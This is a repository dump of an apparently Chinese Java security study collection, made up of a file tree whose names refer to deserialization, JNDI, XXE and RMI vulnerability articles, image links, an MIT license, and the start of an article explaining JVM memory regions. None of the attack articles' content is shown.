├── AMF3反序列化.md ├── SnakeYaml反序列化.md ├── XStream反序列化.md ├── .DS_Store ├── rmi ├── res.png ├── rmi.png ├── rmi2.png └── project.png ├── wechat.png ├── jmx ├── calc.png ├── mlet.png ├── jconsole.png ├── sayhello.png └── server1.png ├── jndi ├── api.png ├── demo.png ├── http.png ├── jndi.jpeg ├── client.png ├── server.png ├── jndi_inj.png ├── jndi_spi.png └── rmi_codebase.png ├── reflect ├── all.png └── invoke.png ├── xxe1 ├── win_ini.png ├── saxparser.png ├── xxe_data.png └── xxe_defence.png ├── attack_rmi ├── 1091.png ├── exp.png ├── port.png ├── client.png └── server.png ├── debug_tricks2 ├── 1.png ├── 2.png ├── 3.png ├── debug.png ├── first.png ├── forth.png ├── second.png ├── third.png └── debug_port.png ├── dubbo_unser ├── pom.png ├── burp.png ├── calc.png ├── impl.png ├── aced0005.png ├── spring_web.png ├── http_provider.png ├── httpinvoker.png └── Httprequesthandler.png ├── xmldecoder ├── calc.png └── console.png ├── fastjson1224 ├── calc.png ├── json.png ├── type.png └── json_to_obj.png ├── log4j_unser ├── idea.png ├── main.png ├── socketnode.png ├── wireshark.png ├── wireshark2.png └── wireshark3.png ├── ser_example1 ├── poc2.png ├── var.png ├── factory.png ├── wireshark.png ├── membervalues.png ├── transformer.png ├── wireshark2.png ├── wireshark3.png ├── checksetValue.png ├── last_wireshark.png ├── transformedmap.png └── transformedmap2.png ├── serialization ├── ser.png ├── xxd.png ├── wireshark.png └── custom_readobject.png ├── xxe_patch ├── doctype.png ├── ext_para.png ├── ext_para1.png └── ext_general.png ├── debug_tricks ├── error.png ├── httpha.png ├── jd-gui.png ├── idea_debug.png ├── idea_source.png ├── source_debug.png └── error_console.png ├── dynamic_proxy ├── proxy.jpeg └── Pasted image 20211231165426.png ├── tomcat_ajp_lfi ├── ajp.png ├── calc.png ├── poc.png └── req_attribute.png ├── class_structure ├── .DS_Store ├── 20210927181830.png ├── 20210927184848.png ├── 20210927185118.png ├── 20210927185136.png ├── 20210927185149.png ├── 20210928141617.png ├── 20210928143118.png ├── 20210928143416.png ├── 20210928150326.png ├── 20210928151257.png ├── 20210928152229.png ├── 20210928152552.png ├── 20210928153453.png ├── 20210928153829.png ├── 20210928154322.png ├── 20210928155930.png ├── 20210928161817.png ├── 20210928162057.png ├── 20210928162239.png ├── 20210928163114.png ├── 20210928164339.png ├── 20210928164924.png ├── 20210928165505.png ├── 20210928170036.png ├── 20210928171115.png ├── 20210928172228.png ├── 20210928172336.png ├── 20210929150126.png ├── 20210929161459.png ├── 20210929161945.png ├── 20210929162344.png ├── 20210929162858.png └── 20210929164838.png ├── hotspot ├── 20211011185001.png ├── 20211011185009.png └── 20211011185648.png ├── weblogic_xmldecoder ├── calc.png ├── var3.png ├── var4.png ├── header.png └── exp_chain.png ├── class_loading ├── 20211012182331.png └── 20211013113646.png ├── storage_structure ├── 20211013174349.png └── 20211014154051.png ├── LICENSE ├── jvm内存区域.md ├── 5.IDEA调试技巧2——远程调试.md ├── jvm-hotspot虚拟机对象探秘.md ├── jvm-字节码指令.md ├── 16.XXE之setFeature防御.md ├── README.md ├── 5.IDEA调试技巧1.md ├── 17.XMLDecoder反序列化.md ├── 1.java反射机制.md ├── 6.java rmi基础.md ├── 2.java序列化与反序列化.md ├── 4.Apache Dubbo反序列化漏洞分析.md ├── 15.XXE之XML解析常用库的使用案例.md ├── 14.XXE之DocumentBuilder.md ├── tomcat ajp任意文件包含漏洞分析.md ├── 18.Weblogic之XMLDecoder反序列化1_CVE-2017-3506.md ├── 9.fastjson-1.2.24反序列化漏洞.md ├── jvm-类加载机制.md ├── java动态代理.md ├── 7.攻击rmi的方式.md ├── jvm-Class文件的结构.md ├── 8.jndi注入.md ├── 4.log4j的反序列化.md ├── 10.jmx安全问题.md └── 3. apache commons-collections中的反序列化.md /AMF3反序列化.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /SnakeYaml反序列化.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /XStream反序列化.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/.DS_Store -------------------------------------------------------------------------------- /rmi/res.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/rmi/res.png -------------------------------------------------------------------------------- /rmi/rmi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/rmi/rmi.png -------------------------------------------------------------------------------- /wechat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/wechat.png -------------------------------------------------------------------------------- /jmx/calc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/jmx/calc.png -------------------------------------------------------------------------------- /jmx/mlet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/jmx/mlet.png -------------------------------------------------------------------------------- /jndi/api.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/jndi/api.png -------------------------------------------------------------------------------- /jndi/demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/jndi/demo.png -------------------------------------------------------------------------------- /jndi/http.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/jndi/http.png -------------------------------------------------------------------------------- /jndi/jndi.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/jndi/jndi.jpeg -------------------------------------------------------------------------------- /rmi/rmi2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/rmi/rmi2.png -------------------------------------------------------------------------------- /jmx/jconsole.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/jmx/jconsole.png -------------------------------------------------------------------------------- /jmx/sayhello.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/jmx/sayhello.png -------------------------------------------------------------------------------- /jmx/server1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/jmx/server1.png -------------------------------------------------------------------------------- /jndi/client.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/jndi/client.png -------------------------------------------------------------------------------- /jndi/server.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/jndi/server.png -------------------------------------------------------------------------------- /reflect/all.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/reflect/all.png -------------------------------------------------------------------------------- /rmi/project.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/rmi/project.png -------------------------------------------------------------------------------- /xxe1/win_ini.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/xxe1/win_ini.png -------------------------------------------------------------------------------- /attack_rmi/1091.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/attack_rmi/1091.png -------------------------------------------------------------------------------- /attack_rmi/exp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/attack_rmi/exp.png -------------------------------------------------------------------------------- /attack_rmi/port.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/attack_rmi/port.png -------------------------------------------------------------------------------- /debug_tricks2/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks2/1.png -------------------------------------------------------------------------------- /debug_tricks2/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks2/2.png -------------------------------------------------------------------------------- /debug_tricks2/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks2/3.png -------------------------------------------------------------------------------- /dubbo_unser/pom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/dubbo_unser/pom.png -------------------------------------------------------------------------------- /jndi/jndi_inj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/jndi/jndi_inj.png -------------------------------------------------------------------------------- /jndi/jndi_spi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/jndi/jndi_spi.png -------------------------------------------------------------------------------- /reflect/invoke.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/reflect/invoke.png -------------------------------------------------------------------------------- /xmldecoder/calc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/xmldecoder/calc.png -------------------------------------------------------------------------------- /xxe1/saxparser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/xxe1/saxparser.png -------------------------------------------------------------------------------- /xxe1/xxe_data.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/xxe1/xxe_data.png -------------------------------------------------------------------------------- /attack_rmi/client.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/attack_rmi/client.png -------------------------------------------------------------------------------- /attack_rmi/server.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/attack_rmi/server.png -------------------------------------------------------------------------------- /dubbo_unser/burp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/dubbo_unser/burp.png -------------------------------------------------------------------------------- /dubbo_unser/calc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/dubbo_unser/calc.png -------------------------------------------------------------------------------- /dubbo_unser/impl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/dubbo_unser/impl.png -------------------------------------------------------------------------------- /fastjson1224/calc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/fastjson1224/calc.png -------------------------------------------------------------------------------- /fastjson1224/json.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/fastjson1224/json.png -------------------------------------------------------------------------------- /fastjson1224/type.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/fastjson1224/type.png -------------------------------------------------------------------------------- /jndi/rmi_codebase.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/jndi/rmi_codebase.png -------------------------------------------------------------------------------- /log4j_unser/idea.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/log4j_unser/idea.png -------------------------------------------------------------------------------- /log4j_unser/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/log4j_unser/main.png -------------------------------------------------------------------------------- /ser_example1/poc2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/ser_example1/poc2.png -------------------------------------------------------------------------------- /ser_example1/var.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/ser_example1/var.png -------------------------------------------------------------------------------- /serialization/ser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/serialization/ser.png -------------------------------------------------------------------------------- /serialization/xxd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/serialization/xxd.png -------------------------------------------------------------------------------- /xxe1/xxe_defence.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/xxe1/xxe_defence.png -------------------------------------------------------------------------------- /xxe_patch/doctype.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/xxe_patch/doctype.png -------------------------------------------------------------------------------- /debug_tricks/error.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks/error.png -------------------------------------------------------------------------------- /debug_tricks/httpha.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks/httpha.png -------------------------------------------------------------------------------- /debug_tricks/jd-gui.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks/jd-gui.png -------------------------------------------------------------------------------- /debug_tricks2/debug.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks2/debug.png -------------------------------------------------------------------------------- /debug_tricks2/first.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks2/first.png -------------------------------------------------------------------------------- /debug_tricks2/forth.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks2/forth.png -------------------------------------------------------------------------------- /debug_tricks2/second.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks2/second.png -------------------------------------------------------------------------------- /debug_tricks2/third.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks2/third.png -------------------------------------------------------------------------------- /dubbo_unser/aced0005.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/dubbo_unser/aced0005.png -------------------------------------------------------------------------------- /dynamic_proxy/proxy.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/dynamic_proxy/proxy.jpeg -------------------------------------------------------------------------------- /ser_example1/factory.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/ser_example1/factory.png -------------------------------------------------------------------------------- /tomcat_ajp_lfi/ajp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/tomcat_ajp_lfi/ajp.png -------------------------------------------------------------------------------- /tomcat_ajp_lfi/calc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/tomcat_ajp_lfi/calc.png -------------------------------------------------------------------------------- /tomcat_ajp_lfi/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/tomcat_ajp_lfi/poc.png -------------------------------------------------------------------------------- /xmldecoder/console.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/xmldecoder/console.png -------------------------------------------------------------------------------- /xxe_patch/ext_para.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/xxe_patch/ext_para.png -------------------------------------------------------------------------------- /xxe_patch/ext_para1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/xxe_patch/ext_para1.png -------------------------------------------------------------------------------- /class_structure/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/.DS_Store -------------------------------------------------------------------------------- /dubbo_unser/spring_web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/dubbo_unser/spring_web.png -------------------------------------------------------------------------------- /hotspot/20211011185001.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/hotspot/20211011185001.png -------------------------------------------------------------------------------- /hotspot/20211011185009.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/hotspot/20211011185009.png -------------------------------------------------------------------------------- /hotspot/20211011185648.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/hotspot/20211011185648.png -------------------------------------------------------------------------------- /log4j_unser/socketnode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/log4j_unser/socketnode.png -------------------------------------------------------------------------------- /log4j_unser/wireshark.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/log4j_unser/wireshark.png -------------------------------------------------------------------------------- /log4j_unser/wireshark2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/log4j_unser/wireshark2.png -------------------------------------------------------------------------------- /log4j_unser/wireshark3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/log4j_unser/wireshark3.png -------------------------------------------------------------------------------- /ser_example1/wireshark.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/ser_example1/wireshark.png -------------------------------------------------------------------------------- /xxe_patch/ext_general.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/xxe_patch/ext_general.png -------------------------------------------------------------------------------- /debug_tricks/idea_debug.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks/idea_debug.png -------------------------------------------------------------------------------- /debug_tricks/idea_source.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks/idea_source.png -------------------------------------------------------------------------------- /debug_tricks/source_debug.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks/source_debug.png -------------------------------------------------------------------------------- /debug_tricks2/debug_port.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks2/debug_port.png -------------------------------------------------------------------------------- /dubbo_unser/http_provider.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/dubbo_unser/http_provider.png -------------------------------------------------------------------------------- /dubbo_unser/httpinvoker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/dubbo_unser/httpinvoker.png -------------------------------------------------------------------------------- /fastjson1224/json_to_obj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/fastjson1224/json_to_obj.png -------------------------------------------------------------------------------- /ser_example1/membervalues.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/ser_example1/membervalues.png -------------------------------------------------------------------------------- /ser_example1/transformer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/ser_example1/transformer.png -------------------------------------------------------------------------------- /ser_example1/wireshark2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/ser_example1/wireshark2.png -------------------------------------------------------------------------------- /ser_example1/wireshark3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/ser_example1/wireshark3.png -------------------------------------------------------------------------------- /serialization/wireshark.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/serialization/wireshark.png -------------------------------------------------------------------------------- /weblogic_xmldecoder/calc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/weblogic_xmldecoder/calc.png -------------------------------------------------------------------------------- /weblogic_xmldecoder/var3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/weblogic_xmldecoder/var3.png -------------------------------------------------------------------------------- /weblogic_xmldecoder/var4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/weblogic_xmldecoder/var4.png -------------------------------------------------------------------------------- /debug_tricks/error_console.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/debug_tricks/error_console.png -------------------------------------------------------------------------------- /ser_example1/checksetValue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/ser_example1/checksetValue.png -------------------------------------------------------------------------------- /ser_example1/last_wireshark.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/ser_example1/last_wireshark.png -------------------------------------------------------------------------------- /ser_example1/transformedmap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/ser_example1/transformedmap.png -------------------------------------------------------------------------------- /weblogic_xmldecoder/header.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/weblogic_xmldecoder/header.png -------------------------------------------------------------------------------- /class_loading/20211012182331.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_loading/20211012182331.png -------------------------------------------------------------------------------- /class_loading/20211013113646.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_loading/20211013113646.png -------------------------------------------------------------------------------- /class_structure/20210927181830.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210927181830.png -------------------------------------------------------------------------------- /class_structure/20210927184848.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210927184848.png -------------------------------------------------------------------------------- /class_structure/20210927185118.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210927185118.png -------------------------------------------------------------------------------- /class_structure/20210927185136.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210927185136.png -------------------------------------------------------------------------------- /class_structure/20210927185149.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210927185149.png -------------------------------------------------------------------------------- /class_structure/20210928141617.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928141617.png -------------------------------------------------------------------------------- /class_structure/20210928143118.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928143118.png -------------------------------------------------------------------------------- /class_structure/20210928143416.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928143416.png -------------------------------------------------------------------------------- /class_structure/20210928150326.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928150326.png -------------------------------------------------------------------------------- /class_structure/20210928151257.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928151257.png -------------------------------------------------------------------------------- /class_structure/20210928152229.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928152229.png -------------------------------------------------------------------------------- /class_structure/20210928152552.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928152552.png -------------------------------------------------------------------------------- /class_structure/20210928153453.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928153453.png -------------------------------------------------------------------------------- /class_structure/20210928153829.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928153829.png -------------------------------------------------------------------------------- /class_structure/20210928154322.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928154322.png -------------------------------------------------------------------------------- /class_structure/20210928155930.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928155930.png -------------------------------------------------------------------------------- /class_structure/20210928161817.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928161817.png -------------------------------------------------------------------------------- /class_structure/20210928162057.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928162057.png -------------------------------------------------------------------------------- /class_structure/20210928162239.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928162239.png -------------------------------------------------------------------------------- /class_structure/20210928163114.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928163114.png -------------------------------------------------------------------------------- /class_structure/20210928164339.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928164339.png -------------------------------------------------------------------------------- /class_structure/20210928164924.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928164924.png -------------------------------------------------------------------------------- /class_structure/20210928165505.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928165505.png -------------------------------------------------------------------------------- /class_structure/20210928170036.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928170036.png -------------------------------------------------------------------------------- /class_structure/20210928171115.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928171115.png -------------------------------------------------------------------------------- /class_structure/20210928172228.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928172228.png -------------------------------------------------------------------------------- /class_structure/20210928172336.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210928172336.png -------------------------------------------------------------------------------- /class_structure/20210929150126.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210929150126.png -------------------------------------------------------------------------------- /class_structure/20210929161459.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210929161459.png -------------------------------------------------------------------------------- /class_structure/20210929161945.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210929161945.png -------------------------------------------------------------------------------- /class_structure/20210929162344.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210929162344.png -------------------------------------------------------------------------------- /class_structure/20210929162858.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210929162858.png -------------------------------------------------------------------------------- /class_structure/20210929164838.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/class_structure/20210929164838.png -------------------------------------------------------------------------------- /dubbo_unser/Httprequesthandler.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/dubbo_unser/Httprequesthandler.png -------------------------------------------------------------------------------- /ser_example1/transformedmap2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/ser_example1/transformedmap2.png -------------------------------------------------------------------------------- /tomcat_ajp_lfi/req_attribute.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/tomcat_ajp_lfi/req_attribute.png -------------------------------------------------------------------------------- /weblogic_xmldecoder/exp_chain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/weblogic_xmldecoder/exp_chain.png -------------------------------------------------------------------------------- /serialization/custom_readobject.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/serialization/custom_readobject.png -------------------------------------------------------------------------------- /storage_structure/20211013174349.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/storage_structure/20211013174349.png -------------------------------------------------------------------------------- /storage_structure/20211014154051.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/storage_structure/20211014154051.png -------------------------------------------------------------------------------- /dynamic_proxy/Pasted image 20211231165426.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/javasec/HEAD/dynamic_proxy/Pasted image 20211231165426.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 阿信 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /jvm内存区域.md: -------------------------------------------------------------------------------- 1 | 在这之前,我们已经学习了class文件的结构以及class是怎样被加载的,那一个class文件加载到内存中后,它是以怎样的方式存储、存储在哪里的呢? 2 | 3 | 下面让我们一起来看看jvm的内存结构吧,本章仅简单地介绍每个区域的作用 4 | 5 | 6 | ![](storage_structure/20211013174349.png) 7 | 8 | ### 堆 9 | 10 | - 线程共享 11 | - 存放所有对象实例 12 | - jvm垃圾收集的主要场所 13 | 14 | 15 | ### 方法区 16 | 17 | - 线程共享 18 | - 存储已被虚拟机加载的类型信息、常量、静态变量等(class文件中的常量池部分) 19 | - 运行时常量池是方法区的一部分,**class文件中的常量池中的常量在被加载到jvm中时就会放在这里** 20 | 21 | ### 虚拟机栈 22 | 23 | - 线程私有 24 | 25 | 